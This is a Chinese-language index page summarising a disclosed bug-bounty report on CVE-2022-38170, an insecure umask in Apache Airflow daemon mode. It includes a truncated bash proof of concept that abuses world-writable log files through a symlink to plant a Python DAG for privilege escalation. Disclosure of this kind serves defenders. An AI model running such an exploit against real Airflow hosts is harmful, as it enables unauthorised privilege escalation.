POJIA破甲
地图 / Airflow Daemon Mode Insecure Umask Privilege Escalation

Airflow Daemon Mode Insecure Umask Privilege Escalation

访问控制 / Incorrect Permission Assignment for Critical Resource / #1690093

厂商
Internet Bug Bounty
严重程度
低危
赏金
$2,400
弱点
Incorrect Permission Assignment for Critical Resource
研究员
@nyymi
披露日期
2022-09-17
资产
https://github.com/apache/airflow
CVE
CVE-2022-38170

该报告还没有中文解读。

原文摘录

摘自原文(1352 字符中的一小部分)
Apache Airflow prior to 2.3.4 had multiple components with an insecure daemon umask of 0, resulting in critical files and directories to be world writable. As such, any local user can infer Airflow to process specially crafted input and ultimately perform a privilege escalation to user executing …
原文中的代码
#!/bin/bash
TARGET=/home/airflow
umask 0
cd $TARGET/logs/scheduler/latest/native_dags/example_dags
rm example_bash_operator.py.log
ln -s $TARGET/dags/poc.py example_bash_operator.py.log
until [ -f $TARGET/dags/poc.py ]
do
  sleep 1
done
rm example_bash_operator.py.log
(cat <<'EOF'
import os …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Internet Bug Bounty 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @nyymi · 版权归作者与 Internet Bug Bounty 所有

同类报告

[h1-2102] FQDN takeover on all Shopify wholesale customer domains by trailing dot (RFC 1034)Shopify · 2021-03-25 · $3,100Bedrock AgentCore Starter Toolkit Creates Gateway IAM Roles Without Confused Deputy ProtectionsAWS VDP · 2026-07-15